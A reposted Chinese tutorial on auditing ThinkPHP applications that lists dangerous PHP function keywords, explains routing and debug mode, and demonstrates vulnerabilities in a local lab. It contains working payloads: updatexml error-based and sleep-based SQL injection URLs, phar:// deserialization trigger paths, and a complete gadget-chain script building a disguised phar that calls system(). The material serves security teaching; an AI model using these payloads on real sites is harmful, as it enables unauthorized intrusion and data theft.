0


代码审计-PHP框架开发篇&ThinkPHP&版本缺陷&不安全写法&路由访问&利用链

知识点:

1、PHP框架学习-ThinkPHP-架构&调试&路由&接受
2、PHP框架审计-ThinkPHP-不安全写法&版本漏洞

PHP常见漏洞关键字:

SQL注入:
select insert update mysql_query mysqli等
文件上传:
$_FILES,type="file",上传,move_uploaded_file()等 
XSS跨站:
print print_r echo sprintf die var_dump var_export等
文件包含:
include include_once require require_once等
代码执行:
eval assert preg_replace call_user_func call_user_func_array等
命令执行:
system exec shell_exec `` passthru pcntl_exec popen proc_open
变量覆盖:
extract() parse_str() importrequestvariables()$$ 等
反序列化:
serialize() unserialize() __construct __destruct等
其他漏洞:
unlink() file_get_contents() show_source() file() fopen()等

通用关键字:
$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER等

在这里插入图片描述
MVC不局限于语言,其他语言也都有。

MVC流程:

1、Controller截获用户发出的请求;
2、Controller调用Model完成状态的读写操作;
3、Controller把数据传递给View;
4、View渲染最终结果并呈献给用户。

MVC各层职能:

1、控制器Controller层–负责响应用户请求、准备数据,及决定如何展示数据。
2、模块Model层–管理业务逻辑和数据库逻辑。提供连接和操作数据库的抽象层(过滤一般都在这里)
3、视图View层–负责前端模版渲染数据,通过HTML方式呈现给用户(一般都是html静态文件,也有少部分php)

MVC对审计主要影响:

1、文件代码定位问题
2、代码过滤分析问题(Model层会过滤)3、前端安全发现问题

MVC开发审计入口常见方法:

搜索法:常规或部分MVC模型源码可以采用关键字的搜索挖掘思路
功能法:框架MVC模型源码一般会采用功能点分析抓包追踪挖掘思路
对比法:可以通过前后修复版本文件及代码不同特征进行针对挖掘思路
特征法:数据库监控挖SQL注入,文件监控挖上传删除写入等。
工具法:后续讲到
调试法:动态调试

框架审计总结方向:

1、版本不安全写法怎么检测

-本地复现版本写法对比(不是官方写法就是不安全写法)
-参考官方开发手册写法

2、版本自身的漏洞怎么检测

-平常多关注此类框架漏洞
https://github.com/hughink/Thinkphp-All-vuln
-配合黑盒工具检测找入口

在这里插入图片描述

3、版本自身的漏洞怎么利用

根据漏洞提示找满足条件实现调用
满足条件:对应的函数点和可控变量

一、演示案例-PHP框架审计-ThinkPHP5-不安全写法&版本漏洞

搭建环境:

ThinkPHP V5.1.29+Phpstudy_Pro+PHP7.3+Apache+Mysql

开发参考:

https://www.kancloud.cn/manual/thinkphp5_1/353946
在这里插入图片描述
在这里插入图片描述

1、解释TP框架开发的源码审计要点

2、参考开发手册学习文件目录含义

在这里插入图片描述

3、参考开发手册学习寻找入口文件

在这里插入图片描述

4、参考开发手册学习寻找URL对应文件

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5、参考开发手册学习如何开启调试模式

开启调试模式:/config/app.php
'app_debug'=> true,
'app_trace'=> true,

在这里插入图片描述
在这里插入图片描述

6、参考开发手册学习官方写法和不安全写法。

数据库查询操作

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

官方写法 预编译机制

public function login(Request $request){$id=$request->param('id');$data=Db::table('cw_admin')->where('id',$id)->find();return$data['user'].'|'.$data['pass'];}

在这里插入图片描述
在这里插入图片描述
从代码中看并无任何过滤,但是实际并不存在SQL注入。这就是框架和原生不同的地方。
在这里插入图片描述
在这里插入图片描述

不安全写法 拼接写法

public function login1(Request $request){$id=$request->param('id');$data=Db::table('cw_admin')->where("id = $id")->find();return$data['user'].'|'.$data['pass'];}

在这里插入图片描述
报错注入语句:

/index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23

在这里插入图片描述
在这里插入图片描述

不安全写法 纯原生开发

在这里插入图片描述

版本漏洞 反序列化phar

public function file_check(Request $request){$filename=$request->param('f');
    file_exists($filename);}

在这里插入图片描述
在这里插入图片描述
反序列化:

index.php/index/xiaodi/file_check?f=phar://./1.png

二、演示案例-PHP框架审计-ThinkPHP5-不安全写法-SQL注入

搭建环境:

Phpstudy_Pro+PHP7.3+Apache+Mysql

1、查看版本-thinkphp/base.php(搜version找)

define('THINK_VERSION', '5.0.24');

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、找不安全写法-搜where找拼接&黑盒工具

文件:application/bbs/controller/User.php

在这里插入图片描述

方法:xiaoxidel
参数:ids id

在这里插入图片描述
先登录看下路由地址
在这里插入图片描述

3、application/bbs/controller/User.php(需要注册个用户才能触发)

index.php/bbs/user/xiaoxidel/ids/0/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)
问题在where语句是直接拼接SQL-where("id ={$id}")
如改为数组的传参就能修复此处问题-where("id",$id)

在这里插入图片描述

黑盒工具-入口不安全写法-SQL注入

文件:application/bbs/controller/User.php
方法:home
参数:ids id
/index.php/bbs/user/xiaoxidel/ids/1/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)

在这里插入图片描述

三、演示案例-PHP框架审计ThinkPHP3-版本漏洞-SQL注入

搭建环境:Phpstudy_Pro PHP7.3 Apache Mysql

在这里插入图片描述
在这里插入图片描述

1、查看版本-ThinkPHP/ThinkPHP.php(搜version找)

const THINK_VERSION ='3.2.3';

在这里插入图片描述

2、版本漏洞-SQL注入

https://www.freebuf.com/articles/web/345544.html
在这里插入图片描述

3、找利用点-搜实现关键字

Application/Admin/Controller/ArticleController.class.php
$data= M('Article')->find(I('id'));

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、Poc构造-利用数据库监控组合注入

在这里插入图片描述

/index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=3 and sleep(5)#

在这里插入图片描述
在这里插入图片描述

四、演示案例-PHP框架审计-ThinkPHP5-版本漏洞-反序列化

搭建环境:Phpstudy_Pro+PHP7.3+Apache+Mysql

在这里插入图片描述
在这里插入图片描述

1、查看版本-thinkphp/library/think/App.php(搜version找)

const VERSION ='5.1.41 LTS';

在这里插入图片描述

2、版本漏洞-反序列化(借助phpggc模版生成利用phar利用)

109.php
<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files){$this->files = array($files);}}}
namespace think\model\concern {
    trait Conversion
    {
        protected $append= array("smi1e"=>"1");}
    trait Attribute
    {
        private $data;
        private $withAttr= array("smi1e"=>"system");
        public functionget(){$this->data = array("smi1e"=>"notepad");}}}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;}}
namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function__construct(){$this->get();}}}
namespace {$conver= new think\model\Pivot();$a= new think\process\pipes\Windows($conver);$phar= new Phar('x.phar');$phar -> stopBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar -> addFromString('test.txt','test');$phar -> setMetadata($a);$phar -> stopBuffering();}
?>

在这里插入图片描述
在这里插入图片描述

3、找利用点-搜file_exists(),fopen(),file_get_contents(),file()等文件操作的函数

路由逻辑分析
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

/admin.php/update/rmdirr.html?
dirname=phar://./public/upload/menubg/6543297dcccb9.png

实战当中需要前台注册一个用户上传jpg文件(把phar后缀改为png后缀)
在这里插入图片描述

标签: php thinkphp

本文转载自: https://blog.csdn.net/m0_60571842/article/details/139057898
版权归原作者 SuperherRo 所有, 如有侵权,请联系我们删除。

“代码审计-PHP框架开发篇&ThinkPHP&版本缺陷&不安全写法&路由访问&利用链”的评论:

还没有评论